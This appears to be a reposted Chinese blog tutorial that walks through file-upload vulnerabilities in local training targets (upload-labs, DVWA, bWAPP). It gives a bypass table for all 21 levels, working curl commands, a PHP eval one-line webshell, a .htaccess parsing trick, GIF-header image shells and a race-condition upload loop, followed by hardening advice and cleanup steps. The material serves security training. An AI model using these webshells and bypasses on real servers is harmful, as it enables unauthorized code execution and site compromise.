一、上传漏洞的原理与靶场准备
文件上传漏洞的本质:网站允许用户上传文件,却没校验「上传的是什么、存到哪里、以什么身份被访问」。只要上传的 .php 文件能被 Web 服务解析执行,攻击者就获得了与 Web 用户同权限的命令执行入口——这就是 Getshell 最直接的路径。
靶场:upload-labs(http://10.10.10.240:8087),PHP 5.5.38 + Apache,21 个 Pass 对应 21 种防护与绕过,上传落地目录为容器内 /var/www/html/upload/。无需登录,打开即练。
1.1 通用验证马
先准备两样东西。验证马用文本型(官方镜像缺 php-gd 扩展,图片型马在此环境可能报错):
cat > /tmp/t.php <<EOF
<?php echo "WARSHELL_OK"; phpinfo(); ?>
EOF
# 一句话马(配合蚁剑连接用,本篇以验证马为准)
<?php @eval($_POST["a"]); ?>
验收纪律:上传成功与否不看页面文案(Pass-01 只弹前端提示),一律用 docker exec 看落盘或直接访问上传后的 URL:
docker exec upload-labs ls /var/www/html/upload/
curl -s -o /dev/null -w "%{http_code}" http://10.10.10.240:8087/upload/t.php
二、21 关绕过思路总表
21 关按防护类型分七组。表给出每关的防护点与绕过手法,随后对重点关实测。
| Pass | 防护方式 | 绕过手法 |
| 01 | 前端 JS 校验扩展名 | 禁用 JS 或 Burp 抓包改文件名(后端不校验) |
| 02 | 后端校验 Content-Type | 抓包改 MIME 为 image/png |
| 03 | 扩展名黑名单 | 改用 .php3/.php5/.phtml(Apache 按解析规则执行) |
| 04 | 黑名单 + 禁 .htaccess? | 黑名单没禁 .htaccess:传它让 .png 按 PHP 解析 |
| 05 | 大小写黑名单 | t.PHP / t.PhP(黑名单未统一转小写) |
| 06 | 去尾部空格 | t.php+空格(Windows 特性,Linux 环境演示思路) |
| 07 | 去尾部点 | t.php. 落地成 t.php |
| 08/09 | :::DATA 未过滤 | t.php::$DATA(Windows 流特性) |
| 10 | 去尾点后限扩展名 | t.php. .(点+空格+点)双写组合 |
| 11/12 | 白名单 + %00 截断 | /upload/t.php%00.jpg(PHP<5.3.4 才有效) |
| 13~15 | 文件头/getimagesize/exif 检测 | 图片马:GIF89a 头 + PHP 代码,配合解析漏洞执行 |
| 16/17 | 二次渲染 | 用渲染后仍保留 payload 的图(GIF 在渲染稳定区埋码) |
| 18/19 | 条件竞争(先存后删) | 多线程不停传 + 不停访问,命中「已落盘未删除」窗口 |
| 20/21 | 保存名可控 | t.php/. 截断、数组绕过、分号(视配置) |
三、重点关实测
3.1 Pass-01:前端校验,直接发包
页面 JS 只允许 .jpg/.png/.gif——校验发生在浏览器里,用 curl 绕过整个前端直接提交表单:
curl -s -F "upload_file=@/tmp/t.php;filename=t.php;type=image/png" \
-F "submit=上传" http://10.10.10.240:8087/Pass-01/index.php
docker exec upload-labs ls -l /var/www/html/upload/ # 已落地 t.php
curl -s http://10.10.10.240:8087/upload/t.php | grep -o "<title>[^<]*</title>"
# 预期:<title>phpinfo()</title>(PHP Version 5.5.38)
3.2 Pass-02:改 MIME
后端校验的是 Content-Type 头(客户端可任意伪造),扩展名反而没查。同一命令,关键在 type=image/png。
3.3 Pass-03:黑名单换后缀
cp /tmp/t.php /tmp/t.php3
curl -s -F "upload_file=@/tmp/t.php3;filename=t.php3;type=image/png" \
-F "submit=上传" http://10.10.10.240:8087/Pass-03/index.php
curl -s http://10.10.10.240:8087/upload/t.php3 | grep -c "WARSHELL_OK" # 1 即执行
原理:Apache 的解析配置把 php3/php5/phtml 同样交给 PHP 处理。黑名单永远列不全,白名单才是正解——这是防御视角的关键结论。
3.4 Pass-04:.htaccess 让图片变 PHP
printf "AddType application/x-httpd-php .png\n" > /tmp/.htaccess
curl -s -F "upload_file=@/tmp/.htaccess;filename=.htaccess;type=image/png" \
-F "submit=上传" http://10.10.10.240:8087/Pass-04/index.php
cp /tmp/t.php /tmp/t.png
curl -s -F "upload_file=@/tmp/t.png;filename=t.png;type=image/png" \
-F "submit=上传" http://10.10.10.240:8087/Pass-04/index.php
curl -s http://10.10.10.240:8087/upload/t.png | grep -c "WARSHELL_OK" # 1 即 .png 被当 PHP 执行
.htaccess 是 Apache 的目录级配置,上传它等于「改了服务器解析规则」。本镜像已开 AllowOverride All,故可用。防御方应禁用 AllowOverride 或禁止上传隐藏文件。
3.5 Pass-13~15:图片马 + 文件头检测
# 制作带 GIF 头的图片马(getimagesize 只认文件头)
printf "GIF89a" > /tmp/m.gif
cat /tmp/t.php >> /tmp/m.gif
curl -s -F "upload_file=@/tmp/m.gif;filename=m.gif;type=image/gif" \
-F "submit=上传" http://10.10.10.240:8087/Pass-13/index.php
# 图片马自身不会被执行——需要配合「包含」或解析漏洞:
# 用 DVWA 的 File Inclusion 关卡包含它(第 7 篇),或 Pass-04 的 .htaccess 思路让 .gif 按 PHP 解析
这一组的教学点:文件头检测拦得住「假图片」,拦不住「真图片里的恶意代码」——检测只解决「是不是图」,不解决「图里有什么」。
3.6 Pass-18/19:条件竞争
防护逻辑是「先保存、校验不通过就删除」,删除需要时间——窗口期内文件是存在的。用并发不停地传、同时不停地访问,命中窗口即得到一个稳定 shell:
# 终端 1:不停上传
while true; do
curl -s -F "upload_file=@/tmp/t.php;filename=t.php;type=image/png" \
-F "submit=上传" http://10.10.10.240:8087/Pass-18/index.php -o /dev/null
done
# 终端 2:不停访问(并发跑)
while true; do
curl -s http://10.10.10.240:8087/upload/t.php | grep -c WARSHELL_OK && break
done
竞争类必须真并发(多终端或 Python 多线程/xargs -P),单线程必失败。这也解释了为何「先存后删」的设计是缺陷:判断与删除之间没有原子性。
四、跨靶场对照:DVWA 与 bWAPP 的上传
4.1 DVWA(8081):Low 级直传 Getshell
# 需登录态(Cookie 携带见第 7 篇)
printf "<?php echo 'UPLOAD_OK_'.shell_exec('id'); ?>" > /tmp/s.php
curl -s -b "PHPSESSID=你的会话; security=low" \
-F "uploaded=@/tmp/s.php;type=image/jpeg" -F "Upload=Upload" \
http://10.10.10.240:8081/vulnerabilities/upload/
# 预期:../../hackable/uploads/s.php succesfully uploaded!
curl -s http://10.10.10.240:8081/hackable/uploads/s.php
# 预期(实测):UPLOAD_OK_uid=33(www-data) ... ← 未授权可访问的持久 webshell
实测要点:Low 级别连扩展名都不查,type=image/jpeg 伪造 MIME 后 PHP 文件直接落地并被解析。这是「上传即 RCE」的完整链,也是 DVWA 里危害最高的漏洞之一。
4.2 bWAPP(8083):上传目录就是 /images/
curl -s -b /tmp/bw.txt -F "file=@/tmp/wsh.php;type=image/png" \
-F "form=submit" -F "form_security_level=0" \
"http://10.10.10.240:8083/unrestricted_file_upload.php"
curl -s "http://10.10.10.240:8083/images/wsh.php?cmd=id"
# 预期(实测):BWAAP_OK:uid=33(www-data)
两个常见误判:上传后 404 是因为文件落在 /images/ 而不是站点根;命令注入表单的隐藏字段是 form_bug 不是 form(bWAPP 的表单命名自成一套,Burp 里看清楚再构造)。
五、防御视角与验收清场
5.1 修复建议(按优先级)
- 白名单校验扩展名,拒绝一切黑名单思路(黑名单永远列不全)。
- 上传文件重命名(随机名,丢弃用户提供的扩展名逻辑),避免截断与双写绕过。
- 上传目录禁止 PHP 解析:Apache 用 php_admin_flag engine off,nginx 用 location 匹配 deny。
- 文件存到 Web 根目录之外,通过受控脚本输出下载。
- 校验内容本身(文件头 + 二次渲染),防范图片马;保存与校验用原子操作,消灭竞争窗口。
5.2 验收标准
Pass-01/02/03/04 均拿到 WARSHELL_OK 回显;图片马能过 13~15 的检测;条件竞争能命中窗口;DVWA/bWAPP 对照链各自拿到 uid=33(www-data)。
5.3 清场
# 删除上传的测试文件(upload-labs)
docker exec upload-labs sh -c "rm -f /var/www/html/upload/*"
# 删除 bWAPP 的马(images 目录可写是上传即 RCE 的前提,练完必清)
docker exec bwapp sh -c "rm -f /app/images/wsh.php; ls /app/images | wc -l"
# DVWA:删除马并确认 404
docker exec dvwa sh -c "rm -f /var/www/html/hackable/uploads/s.php"
curl -s -o /dev/null -w "%{http_code}" http://10.10.10.240:8081/hackable/uploads/s.php # 404
上传线打通后,下一篇走命令注入:不经过上传,直接让服务器替你执行命令——DVNA 的 ping 接口会把 root 权限双手奉上。
转载自 CSDN-专业IT技术社区
原文链接:https://blog.csdn.net/qq_28608175/article/details/168955632



